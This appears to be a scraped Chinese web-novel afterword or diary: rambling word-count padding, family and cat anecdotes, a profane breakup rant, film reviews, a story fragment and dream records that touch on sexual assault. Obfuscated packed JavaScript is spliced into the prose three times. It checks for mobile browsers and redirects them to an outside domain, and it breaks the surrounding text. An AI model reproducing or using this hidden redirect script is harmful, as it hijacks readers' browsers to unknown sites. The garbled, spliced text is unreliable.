一直没有介绍这里的温度吧。上一次在花束般的恋爱里提起他们的时候，还写了当天的温度。今天的温度是27度吧？此时此刻的温度是27度。昨天晚上我其实睡得很好。因为外面一直刮风下雨。但是从2点开始睡的时候醒来了3点。我觉得短暂的休息比得上长足的。抵达。所以朋友问我为什么这么有精神的时候，我只是想告诉他，因为我在用力感受当下的每一刻，每1分每1秒，不疯魔不成活，差1分，差1秒，差一个时辰。都不是一辈子。 所以段小楼不爱程蝶衣。 程蝶衣会爱上段小楼的。 这本书是一个巨大的搜索引擎，我这个人是一个巨大的拼图娃娃。为了避免大家忘记，我在后记里面继续提一下吧。 一直想跟大家说一些新鲜的事情，但是翻来覆去还是这样的几句话，不知道大家有没有听腻。 为了让大家不被占到便宜和不占到我的便宜，所以我严格控制了自己的每张字数。 这是强迫症患者的福音。 又努力写了500字。 好想把他们一起发表呀！ 但是要忍住。 我又在一个人空旷的房间里听着自己的回音来语音转文字，因为刚刚敲字实在是太累了。 大家一定要去看伍尔夫的一间属于自己的房间呀，只要你能在这个世界上赚到100万，合理的规划，100万的使用去向。一个月3000其实是可以活的很快乐的人的钱是攒出来的。精神的钱也是攒出来的，身体的钱也是攒出来的，革命是身体的本钱。 革命尚未成功，同志仍需努力。 为我们伟大的人生目标而奋斗。 为我们热爱的世界而奋斗，我对这个土地爱的深沉。 亲爱的朋友们，可以允许我睡一觉吗？ 今天的严格时间其实是八月二十三。 但是我相信我说了你的脑子里会很乱的，不过我相信你肯定会莫名其妙的笑出来。你会说这个人怎么这么啰嗦呀？他怎么老是说他的电风扇？他出门总是背他的那个帆布包。 他的帆布包是有一种牛格子皮。材质的牛格子皮图案。以及站立在那里很像牛格子。 让我把这874个字儿嫁接到之前吧，我刚刚去晋江看了一下。有一句话他就给整成了一串问号，看到他的时候，我觉得我的满脑子也是问号了。 救救孩子吧，把书写成blog用无限流。又种田文儿又狂放派，真的是一件很不容易的事儿。vlog。世界上有太多的缩写文字了，以及世界这个巨大的搜索引擎。实在很像是蚂蚁吃糖。就像我的封面儿吧。转呀，转呀，转呀，转潦草的世界草台班子。 人在忙碌的时候就会像蚂蚁乱转，我刚刚从后院回到前院的时候喊“我回来啦”音调上扬，妈妈嫌弃我回来的好晚，我说我好忙，好不容易换了一个情景休息了一会，跟她说了两句话她说我不能歇会？我说我歇了啊，写累了上传上去等错别字，再去先翻翻自己之前的书重读一遍看看通不通顺，就把后记的两万字又重读一遍，于是我好胃疼，她说吃烧□□，我说我想喝点水，水下到肚子里的时候才发现肚子里空空荡荡需要东西填满。肚子空了就身体涨，身体涨感觉不出来也感觉不出来疼，埋头苦学就是容易饿，小时候单纯简单知道学累了要吃中午饭了，长成大人了就忙起来昏天黑地不知道，其实小时候学习何尝不知道自己在“昏天黑地”，但是总是突然才感觉很饿，饿“鬼”投胎，生吞一只猫。我真是讲了世界上最冷的冷笑话，其实我何尝不知道这是冷笑话。 妈妈还说，你怎么又不吃饭了！ 我说你别说话。 刚刚我读了两万四，我还没挣两万四，你知道这世界上的钱多难挣吗，到处倒要知识付费，行行行，付费，我们花钱上课！ 我爱学习！ 一生爱卷的人类，无数的远方和无数的人们都与我有关！ 为万世开太平为往圣继绝学，为自己出书，为自己立传，为自己讣告为自己祷告，为自己钉在十字架上，我们永远知道猫的叫声都是一样的，你不许讨厌灰色狸花猫！我当然不讨厌它，我讨厌它用灰蒙蒙的眼睛斜睨人看我，凭什么不魅我，凭什么！！！ 啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊。 树摇大树的声音都会惊吓我，我的美德不足以支撑我和它共舞，我配不上它，我是胆小鬼，我早就说了小草无法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风声呜咽有时候就像鬼子呜咽一样，都让人感觉恐怖的我好害怕，但从今天起我要站起来了，我不能再落在家人身后了，迪迦，赐予我力量！ 我喜欢毕加索墨水，喜欢香水，还喜欢前任说带我去看罗马走秀，我心里有一簇烈日而生的花，比所有的美酒都要芬芳，滚烫的馨香淹没过稻草人的胸膛，草扎的精神从此万寿无疆P大说，忘记了好久，所以我也喜欢她这句话，我也喜欢文字，我也喜欢庸俗，我也喜欢假装优雅，我也是好学生，我也是获得过毕业优秀奖的人。一切都有杰克逊，我有图有真相。 好烦啊，妈妈又来拍我的门叫我的名字，我在写作业！ 刚刚心脏抽着疼，有人割掉乳腺，有人割掉双腿，有人用声音震颤心脏，我真不知道我要吃多少饭才能让身体不悲伤，才对得起自己。 邓紫棋在摩天动物园装点着完美真相，我在巨星游轮面前慢慢下沉，妈妈，我是个傻瓜，不要来爱我了，我身体的皮肉已阻挡我血肉的消融，我会闭嘴的，我不是再说话了，我会听话了，不要抛弃我好不好，我不喜欢庸俗的世界。 又偷偷掉眼泪了吗，没有哦，我在想贾樟柯，我超级喜欢他写的那本书，大家不知道贾樟柯是和山谷音和小娟，不是，山音麦和八谷娟，哎呀，我只能一错再错才能让你全理解啊，能不能看拉片啊兄弟，出了学校你就不用学习了是吗，废物。 脱下胸衣放下肚皮，刚刚肚子也抽着痛，胃痛，虽然我的体重是116斤，但是我这是虚胖，“虚胖”，再敢多说一句，老子让你变成消音器。 画个圈圈诅咒你！ 〖警告警告，中午组词句已耗尽，电量过低，电量过低，电量过低，电量过低，电量过低，电量过低，，，滴滴滴，，，滴滴滴，，，紧急抢救中……紧急抢救中，紧急抢救中，紧急抢救中，已苏醒。〗 你如果看了王朔的〖致女儿书〗，你就会发现我这水字数的手段都是从哪里得来的了，啊，亲爱的，亲爱的?ⅴ?，我用的手段都是你教我的呀，怎么了，我在逼你分手，因为我们是不同物种啊，还一直问问问，我烦死你妈了，你唠唠叨叨的你烦不烦，你姥姥的，都几点啦 21:24。 骗你的，其实一个字一个字都是我自己敲出来的，无论是手机敲还是电脑敲还是计算机敲，还是NPC敲，还是好友敲，好友位敲，名利双收敲，敲，敲，敲，公，公，公，BGM恐怖音乐氛围曲，都是我一个人敲出来的。 尽管也觉得庸俗妈妈很烦但毕竟庸俗妈妈已经当牛做马这磨多年了，看过的电影也不胜枚数不剩美剧，不胜枚举，数不胜数，防不胜防啊我靠靠靠靠。 活，火，火，火，着火了啊啊啊啊啊啊啊啊啊啊啊啊，消防员消防员消防员，我要小辉哥。 《庸俗》：你能不能别有病。 我刚刚拿起面包，想看看面包上面的日期有没有过期。然后发现面包是2025年3月20日生产的，保质期只有90天，90天，也就是三个月，所以他已经过去接了。他已经过期了。 之前耳东兔子和舒远说过。 耳东兔子说他只能一个人。工作一天写8000字左右。我很喜欢他的陷入我们的热恋，然后疏远就说3月是他说8月是一个丰收的季节。很多事情神奇的显示。这个时候可以收货，他说的是对的嘛，因为3月种卖种稻。8月就秋收了嘛。五谷丰登，五谷丰登！ 我还有最后的500字，我讲讲刚刚都发生了什么吗？刚刚我感觉很生气，因为我的妈妈他非要把小猫赶走，因为小猫老是在他的衣服上面。坐着，然后大猫一进来的话，小猫就会进来，后来他就对，我说以后再也不要乱想了，进来了，说的好像是我养的小猫一样。然后他就要把小猫赶出去，这就算了，他居然动我的大猫，他拿着棍子打我的大猫，这简直是叔可忍，孰不可忍。 我家的橘猫是我好不容易从10月养到了现在的。去年10月到现在的8月。天呐，学习一门课程真的好难呀。然后当时虽然是家猫，但是它其实是我妈养大的，所以我在养的话它其实很不好养。我的手上。被抓的都是雪林子。现在我家猫咪在我的窗台底下放声苗舞大奖。 “喵呜”大叫。 可以了吧？可以了吧？怎么还不可以呀？可以了吧？可以了吧？怎么还不可以了吧？ 啊？ 我真是服了，我拉长了声调。对着手机喊了一声，结果他居然只记得我的情绪啊。 有没有记得拼音呢？我说AI你能不能学学拼音呐？生物韵母，一声，二声，三声，四声。横杨对，勾儿。像。你再这样下去我要闹了。 菩提本无树，明镜亦非台，本来无一物，何处惹尘埃。显得你嘴皮子利索，是吗？就你有理就你有理，公说公有理，婆说婆有理，公说你有理，母说你有理，你全有理，你全家都有理。 谢谢！ 赞歌。 14. 十三 2025年08月25日 黄历七月初三 乙巳年蛇年甲申月丙寅日星期一 宜：破屋、坏垣、治病、馀事勿取 忌：祈福、纳采、订盟、嫁娶，入宅 叮咚。 今日份幸运数字：正8C，QS，9P 今日份达成成就：上楼梯。 今日份惩罚：妖娆妩媚女人。 今日份解字：圣杯八，刀剑女，笼上犄角。 下面播报明日内容：左边上，中间坐倒，撑脸。 今日份内容“霸总的胃病”已达成，奖励已发放，注意查收。 你tm装什么无辜，你对我做过什么只有我们两个人最清楚，你以为我把你删掉没有了聊天记录就没有人知道你是什么样的? 我告诉你，你做梦，你自私，你会装，你滥情，你只有你自己。现在我只会感到恶心，恶心自己认识你，恶心自己为你花的钱，恶心和你做过的一切，恶心你对我恶语相向后还在自我pua又好言好语的安慰你，恶心你自私又装B，我以为是我不好，结果只是你tm太操蛋太滥情，我怀疑我自己是个无理取闹的人，没想到你才是那个烂人，刚分开还在维护你的好，现在你什么都不是，每天有画不完的饼，滥不完的情，你这种人永远都不配有爱，之前的日子我就当打发时间，花出去的钱我就当破财消灾，我对不起任何人但我唯独对得起你。你这种人能幸福真是奇你妈了个刁怪了。把过错全都推给对方来掩饰自己恶毒的一面，通过要挟别人激起对方的悔恨和自责来塑造自己的人设，高高在上地PUA并且自以为深情专一于感情，卖惨造谣最后全是你的把戏。我祝你所有的事都无福消受，其实我真他妈想祝你断子绝孙 废弃。 纠结。 异常。 影剧。 22:501台4:00 按创建时间V 无标题 2022年11月27日23:37我创建 无标题 2022年6月8日22:21我创建 无标题 2022年4月22日15:37我创建 无标题 2022年4月22日14:45我创建 无标题 2022年3月31日23:14我创建 无标题 2022年2月13日19:29我创建 无标题 2022年2月7日22:29我创建 + 首页我的桌面通知我的 ... ... ... ... .. 22:501台 按创建时间 异常记录(七) 2022年11月4日22:23我创建 记实记录(一) 2022年8月22日23:13我创建 异常记录(六) 2022年8月21日20:42我创建 异常记录(五) 2022年8月19日23:09我创建 异常记录(四) 2022年8月18日23:33我创建 异常记录(三) 2022年8月15日23:00我创建 异常记录(二//) 2022年8月12日11:42我创建 异常记录(二) 2022年8月12日11:08我创建 + 异常记录(一) 首页我的桌面通知我的 .. . ... 我自己的内心幽暗是不真诚，不尊重，不能真正的参与世界，不能尊重每一种世间，不真诚对待自己 因为我是一个期待低的人，就是安全感太低的人，所以草木皆兵，所以一切不该有的想法，自作多情，这些都要斩断。 我要变成不以物喜不以己悲，把孤独这种个人人生不可避免的东西和我融为一体。就是我一直在对抗，对抗自己内心的幽暗，也对抗他人想从我这里榨出价值。 ——— 《开端》 看的有一点晚了，因为音乐入的坑。熙月月的《调查中》听音乐感觉很难过，没看词的时候听不清唱的是什么。 里面有一种至诚的感觉，通俗点我认为就是瘆得慌，里面空灵到一切人性都讲出来。钢琴伴奏很好听，高潮很震撼。 关于网络暴力，校园暴力，都很惨烈。看《少年的你》魏莱那个角色很震撼。疯本疯，平静的水面下是汹涌的暗流，黑色的瞳仁完美的诠释了内心的病态，她站在高高的台阶上往下歪头看人的时候，那一下绝了。 面对王萌萌死的真相刘瑶的害怕被报复逃避。陈念的告诉警察有用吗。这些再正常不过了。 肖鹤云的失手捅人下车逃走再正常不过。 如果换我我敢站出来吗？ 如果我是王萌萌我会怎么样？ 如果站出来说出来有人信有人管吗？ 我不知道。 想发微博的，给删了。 对社会大众没有信任感，任何只言的片语都不想泄露出去。我把自己围成密不透风的墙，我不相信任何人。或者说我不想任何人了解我的真实想法。 这个世界上个人的想法太不重要了。这个世界上冷漠的人太多了，旁观的人太多了。 想到我上次回家打滴滴，司机给了我橘子，坐公交，给了司机橘子。不知道人会不会在背后笑我傻。善良老是让人践踏，不成熟的小孩道德感最强。义愤填膺，袖手旁观。 故事讲了李诗情和肖鹤云一次次进入循环坐公交拯救车上的人。卢笛，张成，江枫，一哥，还有那个提西瓜看儿子，肌肉男，装一袋子药的大婶，提行李箱去江西看工友的见义勇为大哥，陶映红，王兴德。 故事完结了，退幕了。 ^_^ 《公主日记》 事实上，勇气不能永远存在，但是胆怯根本无济于事。 看我这个电影的感觉就是，失落。故事突然就结束了。有一种无所适从的感觉。 ^_^ 《纽约的一个下雨天》 纽约一个下雨天，charming。 太迷人了，我太喜欢盖茨比·威尔斯了。演这个角色的演员叫提莫西·查拉梅。 他太令人着迷了，我说不清为什么喜欢他，我喜欢他是欣赏他，但是如果说和他在一起我是不会的，我也不知道为什么看电影的时候突然想到这个，但是瞎想，就天马行空了。 大概还是人物太立体了。 它是讲爱情的一部电影，盖茨比在他人看来是个很奇怪的人。但是他有自己的坚持，虽然事实上他没有什么坚持，可能是他有属于自己的气质，还一直为之坚持。 他很聪明，他赌博赢好多钱，他喜欢纽约灰色雾蒙的下雨天，他一边弹钢琴一边唱歌。 他在自己的世界里像鱼在水，肆意快活。虽然他偶尔也苦闷，逃避参加家庭派对。 他每一段感情都付出真心并让女友参与自己的生活，但是女友们都觉得他很奇怪并不理解他。 他带她们做一些奇怪的事情，但是他们最终分道扬镳了，他和艾什丽也是两路人。 但万幸，他找到了自己的方向，找到了自己的另一半，茜（沙诺）。这个小女孩长大了，盖茨比和她的姐姐分手后，一次共同帮助他们朋友拍定影的机会让他们又见面了。 他们逛了博物馆，而茜爱他。 茜的戏份很少，她和盖茨比的爱情没有什么篇幅展现，但是电影放到中，最后，在中间她出场我就觉得他会和盖茨比一起，他俩太配了！ 盖茨比很迷人，有一种blue忧郁，颓丧的美丽，就像纽约的一个下雨天。而茜迷人美丽在她一直知道自己想要的，朝着目标走过去。 如果盖茨比不明白自己的心（不明白做自己，自己的目标，自己的方向，是那个幼稚没长大的小孩），那她可能不会选他，和他在一起，她会选择一个势均力敌的人共度余生，虽然他们之间没有爱情。 所以，我感觉到的是，要变成最好的自己去找到对的那个人，不然这一生也不必有了，不必存在了。 因为你只能变成最好的自己了，才有可能找到对的人，找的那个你一生都重要的人，因为这是既定的命运，你没有做到该做的就会很可悲，就会很痛苦，后悔。就会让两个人都遗憾。 老天让我们活着是让我们成为不一样的人，拥有不一样的人生的，不是让我们都过相同的生活，那样太没意思了。 所以，不要让等你的人遗憾，一生都感觉缺点什么，抽象一点，有时候你是为了某个人而存在的，虽然他还没有出现。（刚刚看了别人的观后感，我发现用一句话可以总结，就是：那就是在遇到爱情前你得先遇到自己。） 盖茨比很浪漫，他有自己的浪漫，对这个世界的浪漫，因为他真的很奇怪，想法和别人不一样，爱一边弹琴一边唱歌，爱在下雨的一天里去看一个钟，听它的响声。 他的台词我好爱。他边弹琴边唱歌的词。 我在遇到自己。 22:561台1005G 我的桌面团队空间 免费试用企业版，开启顶级安全管控 按创建时间 庸俗 : 8月19日8:11我创建 慢礼 7月17日20:22我创建 无标题 7月12日1:51我创建 无标题 6月18日0:56我创建 第15章 5月20日23:13我创建 裴听玉 3月31日12:43我创建 晋江 2022年6月17日22:30我创建 轻淡的 2022年6月6日21:36我创建 Foreword 2022年4月15日23:22我创建 + 首页文件通知我的 .. ... ... ... .. 〖警告，警告，异常，异常，查杀，查杀，消杀，消杀。〗 〖恢复中，恢复中。〗 〖警报：虚拟错误，时间留存混乱，世纪留存失败。〗 〖以下内容纯属虚构，若有雷同，纯属意外，纯属意外，纯属意外，纯属意外，意外……〗 转人工。 …… 别天天神经病了行不行，赶紧凑四千块钱给我。 好的。 谢谢老师。。 裴听玉： 裴听玉醒过来的时候，微风和煦，丫鬟正在开半扇窗，阳光斜倚着从窗户上透下点点雕花块块。他睡觉并不像寻常主子那样会放下帷帐，睁开眼的时候入目就是隔着珠帘、颜色橘橙的窗棂。 眼波移动，他凝望着春青支好窗又去端洗脸的盆，接着秋黄进来了，把裴听玉今日要穿的衣袍搁放在案几上。他安静的看了一会床顶垂落下来的纱。 辰时正刻（早上八点），秋黄走上前来唤裴听玉：“公子，该起了。” 裴听玉安静的看向秋黄，松散的掀开被子坐起身，秋黄就跪在脚踏给他穿鞋。 衣冠穿好，裴听玉看了一眼铜镜里的自己，抬手捋了一下衣袖，往外走去，去找太子殿下用早膳。十几年来如一日，他虽不用早起，但他的膳食要在太子的眼下进用。 比起太子寅时（凌晨三点）起，他辰时起已经不知轻松了多少倍，但在太子府中，不可能有一个人轻松。更何况作为质子的裴听玉。 《未完结。》 23:011台5G 按创建时间 长篇完整 4月10日13:44我创建 短篇完整 2022年12月29日22:37我创建 弃章 2022年8月7日22:29我创建 废稿 2022年2月13日19:29我创建 + 首页我的桌面通知我的 ... . 别这样写下去了，你会格式乱码的，庸俗说。 无所谓。我脑洞大。 你人瘾菜大。 不和你说话是不是想我了？ 滚， 亮出真身和我说话。 我是宇宙粒子激光炮。 多少字了， 3499 3500 3501 居然“3499”算一个字，真不可思议，可能因为是用的不同软件和APP吧。毕竟格式一倒退一倒腾就容易乱码和我容易碎嘴，你终于出现了，谁啊，“我”。 谢谢。 为了缓解皮肉疼痛我把自己折腾了一下，肚子上的肉层层叠叠，一看见就是养膘的好身材，不是吗。 你在四千之前回头看一下吧。 好。 按创建时间 Life 2022年5月4日0:14我创建 Prologue 2022年2月16日22:42我创建 按创建时间 残章 2022年8月13日22:17我创建 灯光阐述 2022年8月13日21:40我创建 《灯光》《轻淡的》 2022年3月23日17:58我创建 如果我都说眞话，用我一百分的能力向你表达我对你的爱、你受得了吗?你敢看吗?还是你会笑我、会生气、还是沉默不语，背过头去?如果我不再对你隐藏或矫饰，我会亵渎你吗? 一邱妙津《蒙马特遗书》 Isaidtomyself,crossover,springisnotfaraway,neverlosethemoodofgermination. 我对自己说，跨过去， 春天不远了，永远不要失去发芽的心情。 Isaidtomyself,crossover,springisnotfaraway,neverlosethemoodofgermination. 不够，为啥还不够，不够字数。再补。 鳄鱼手记一一爱不在任何结局 原创萱草阁萱草阁 2025年06月01日22:49北京15人 “她是我唯一对外呼吸的管道” 是我对这本书最初的了解 因为这句话，我才来读这本书 读邱妙津的文字是危险的 网上总这么说 她的文字从翻开就让人心痛 故事里的我的确清醒的爱的很痛 把爱掰开揉碎了瘫在面前 赤裸的毫无保留的 甚至在我第一遍读的时候都不知道她到底想表达什么 当我读完这本书还沉浸在故事的主角时 拿起被我以影响阅读为借口的封皮 “离世年仅26” 才让我物理意义上的心痛了一下 这是我第一次读有关爱情的书 我对此涉及的太少在写这篇的时候 甚至花了半个小时构建框架 不知道如何下笔才能挽回悲剧 “她接受我，等于否定我否定的我’ 很奇怪拗口的句子我竟然第一次读就读懂了 我总是在否定自己 像书里说的 像书里说的 “全世界都爱我，没有用，我恨我自己’ 有时候是恨的 恨自己不够优秀不够强大 可有人爱我 能用一句话就哄好我纠结了一天的矛盾 我正将自己折叠成拒绝展开的信笺 却有人用目光的镊子轻轻夹起我的边角 “拥抱是一首长伤无泪的离歌” 我喜欢拥抱，甚至渴望拥抱 当然这因人而异 渴望肢体接触好像总是羞耻的 至少我还没学会如何开口 星星：你写的超过了，现在4353了。 我：不是我写的，前面的萱草阁是我现在还记得因为我刚刚去截屏复制粘贴扫描过来的，那个不是我的。我文字里的大部分东西都不是我的吧，所以我是抄袭狗吧。 你：你真是有病。 它：吸血。 她：谢谢。 他：神经。 节制：这总是你写的把，或者花费了心血。 死神：别乱说了，我们快杀青了。 太阳：啊，又开始了。 甜松饼：总策划呢。 宇宙：宇宙～有人找你。 隐士：真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423131|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是傻B。 圣杯十：老子服了。 手快点，最后两千字了。 我去找找。 OK。 记录梦境 21年1231 上课睡觉醒来，座位，老师，课堂，一切似曾相识，可能人在出生前真的看过自己这一生的剧本。 然后，苦难的再苦难，快乐的再快乐，活着总是比死亡好。 ——————//——————— 22年0101 做梦。 在路上走，补课的学校，手里提着东西，大概是卫生纸，阳光很好，像往常一样的去教室上课，是下午，我回头看了一下，有人叫我，却什么都没有。 0102 梦。 一个晚上，遇见了，然后和他发消息，又加了微信聊天，互相询问了一些过往的疑惑和对未来的打算，然后也还是觉得以后不要联系了，老死不相往来，做不了朋友也不想再见面了。 0104 做梦， 梦见一个城堡里，被追，我就跑，误入地下一层，进去之后我就放松下来好奇的打量，却不小心的碰到什么东西引出好多癞蛤蟆，然后开始追我，我吓的赶紧跑，想跑到顶楼可是我飞不上去，我好像会飞，在此之前还被别人好像是侍卫追，一直追我，我跑了好久，城堡是好多层，好大，长有1000多米那种，打开城堡的大门是城市那种，像艾莎公主电影的那种道路，地面是平的，现代的。 0107 做梦。 梦见有一个哥哥，和爸爸，都是干的，假的，冒充的。不知道为什么我裸着上身去了那个假爸爸的工作室，到了那里我才反应过来，我想找件衣服穿，但是被抱了一下，抚摸后背，我很害怕然后跑出去了，结果就被追。出了门的时候回头看了一下那个实验室，忽有忽无，像隐没的不曾存在的鬼地方，鬼域。然后被追，我躲在草丛里，周围马路上好多人，我一动不敢动，但是草丛逐渐稀疏，巨大的光打下来，照显我。那个假爸爸狰狞的脸就露出来，他蹲在远处看我，也不上前，我吓得立马跳出来跑走，他像逗猫一样不慌不忙的安排人追回我。他想□□我，然后那个假哥哥也是他把我追按到一辆货车里，我害怕的跟着他，然后他看见一对姐妹，妹妹很小，十几，姐姐二十左右，他要□□姐姐，结果姐姐挣扎过程中磕倒头，血顺着座椅往下滴，我怕他再对妹妹下手，我抱住妹妹的头，我说你就当什么都不知道，不然他就会弄死你的。妹妹果然什么都不知道的样子一句话都不说。我抱着妹妹的头，互相拥抱着，那个假哥哥不知道在找什么，可能是找开车钥匙，然后对我说话，说，我真不知道你现在是鬼还是人，不过我觉得你是人，你在骗我你是鬼吧。他把手摸在我的腰上，皮肤有温度，而我在此之前骗他我变成鬼了，我没有说话，他继续找钥匙。然后我一回头发现那个姐姐变成鬼了，上下牙齿上有尖牙露出来，我怕她咬我，也怕那个假哥哥，然后车在行驶，我把假哥哥推出车窗外，我也跳窗了。 0114 梦见想去看看妈妈，但是有人跟着我，要抓我，已经追着我跑了好久，太想妈妈了，然后匆匆的看了一眼她，看她没有事情就匆匆走了。就躲着，他们在后面跟着我我就从上面跳下去，一个坑还是什么的东西，听他们的脚步远去。 发大水，或者说是水上乐园，好大，一个村那般大，每条道路，每一个坡，拐角都是水，好喜欢玩水啊，还从来没有玩过这么多水，然后就绕着一圈圈转，一圈长有一千米那样长，宽有五百米那种，很好玩，特别好玩，有好多孩子和其他大人，就是没有人陪我玩，我自己转了两圈，路上碰见了小时候的玩伴，比我小两岁，互相避着不对视上，尴尬的擦肩而过，然后碰见他了，隔了这么久又梦见。不想梦见。说吃饭，跟着他去吃饭，还是他在前面走我在后面跟着，完全不顾我。下到一个地下的商场，一家店位置都在半空中，找了一个三人的，然后我坐在那里，叔叔去点菜了，吃饭的时候变成姑姑给我夹菜，还讨论了一下桌子上的鸡杀的好，切的块也好。 0115 被桎梏住，困在床上或者石板上，最讨厌恶心的人，而我跑不了。 可能是上学的时候，十六岁左右，朋友给我了好多小玩意，比如笔袋，贴画，一个包裹着的粉红色的草莓发卡，并不俗，很精致，水红色，然后一个我不认识的但是好像熟一点的女生来翻我的东西，说我的东西这么多给她一个，我说你翻吧，挑一个，但是我不想给她，我觉得我可以拒绝，但是为了所谓的情面，拉不开脸，但是最后我还是没有给她，她喜欢那个草莓发卡，但是我不给。是在一排的桌子上，我坐北朝南，她坐南朝北，一排，教室排布完全挨凑的一排桌子，在一个教室里吧。 0117 以前梦过被爸爸卖掉，卖给别人换钱，被绑着压到沟壑那种山丘上，说不出在哪里，然后我不听话要跑，结果恶毒的老板把我提着，我悬空身体被他移到火车轨道上，想让我被过往火车撞死，然后被一个奶奶救下来，于是就跟着她一起生活，她有一个孙子，我叫他哥哥，有一天他骑着电动车带我去买菜，我坐在后座上，然后跟他说话，他三言两语的回我的话，然后拐了一条街我惹他生气了，我忘记了因为什么，然后他就把我落下自己骑车走了，我站在原地看他的背影，眼泪直接就下来了，我就看着他走远也不去追，我盯着他希望他可以回头看看，可是他头也不回一言不发的走了，我也不追，我自己知道路，可以找回去，但是我好难过，最后找回去了，不敢回家，隔着窗户看里面，然后被他看见了，他让我回去，我说以后不回去了，一直在争辩，最后他说让我再看看奶奶，然后好像也没看就醒了。 中考结束之后的某一天下午做梦梦见的，那个奶奶并不是多喜欢我，哥哥也不是，当时浑浑噩噩的睡着又醒来，一直念念不忘。现在想了想才发现真的不喜欢，但是确是满心欢喜想着以后就找梦里哥哥那个样子的陪伴。然后遇见那个垃圾，不过没事，过去了。 这次梦见了另一个男生，我在商场，他要来找我，我就下去接他，然后走到楼梯往下看看见他，他在上楼，和他对视一眼，然后就想他会体贴吗，还是像前面那个垃圾一样只是嘴上好听，还没细想他就上来了，主动握着我的手牵着我，我以为只是牵一段路意思意思，可是之后去哪里都没有松开我的手，我不注意松开了他会再牵住，从不空着，他握住我的手牵着我去看电影，我在等他来再找片子看，可是没有什么选中的，他来了，我们实现了买最近的场次然后进去，说一不二很快速的决定，然后我们去看了电影。在进去或者出去的时候，可能是出去我向前走然后滑倒了，他扶起我然后往外走，一起雪夜散步，一起看了星星，我问了他什么，但是他没有回答。我问的好像是他喜不喜欢我，他不回答的意思好像无言的告诉爱不爱都明显，一切都在行动中。 后来我又问他接下来去哪里，然后他告诉我要回家了，可能没有可能是说回家了，我记不清了，然后我醒了，半夜，我说不能忘记这个梦又很快睡去。 0118 梦见交朋友，忘记了什么原因他们背叛我了，然后我就再也不和她们玩了，一次不忠，终生不用。 0129 梦见自己在传送带上，最开始在班级里排队，被一个男生带着，很高很瘦很帅气简练的男生，现在想想心猿意马，当时只是多看了两眼，然后在传送带上，就是传送东西的那种，比如火锅底料那种工厂加工的传送带，人在什么很挤，但是不知道为什么，反正我躺着，被传送，然后出口有一个男医生，这个我只是冷淡的看了一眼，因为他在看我所以我很冷淡，探究的眼神，然后我就去检查了，一个女医生，然后说我没事，我笑了笑，然后她就问我这么高兴啊，我说是啊，是妇科检查，她很好。 对啊，做梦，陌生人的笑脸都好让人高兴，很温暖，暖洋洋的。 前几天也做梦，就是懒了没记下来。一个是梦见发大水，好多水，巨大的坑填满了还溢出来，为了防止水淹到别人，不让水流到其他地方，然后整理沟壑，还在坑里游泳，有点紧张，但是醒了还是很惬意，即使在梦里，还是很舒服。精神世界的惬意。现实或许没有享受但是梦里一样的。不觉得不快乐。 0130 跟一个朋友穿梭着，晃悠着，然后一个坡，玩碰碰车，很好玩，很惬意，一个不认识的朋友，又是一个陌生人，但是在梦里可能是认识的，现实中不是我的朋友，没有一个人和他重叠上。也不知道是男是女，太想有个人陪吧，真正意义上的有个人陪。 15. 十四 2025年08月26日 黄历七月初四 乙巳年蛇年甲申月丁卯日星期二 宜：嫁娶、开光、祭祀、祈福、求嗣、安香、出火、解除、伐木、入宅、移徙、安床、开市、交易、立券、栽种、出火、出行 忌：掘井、理发、作灶、动土、破土、开池 叮咚。 今日份幸运数字：2，5，6 今日份达成成就：完结。 今日份惩罚：由于昨天未按规定完成七千字任务，系统查到bug，即刻绞杀。 今日份解字：权杖二逆位，教皇逆位，星币六逆位。 下面播报明日内容：59592-60000=-408。当前字数190。你还有几分钟的时间交代一下遗言。 是吗。 明天去听一下鱼屿饰的网易云音乐吧，她这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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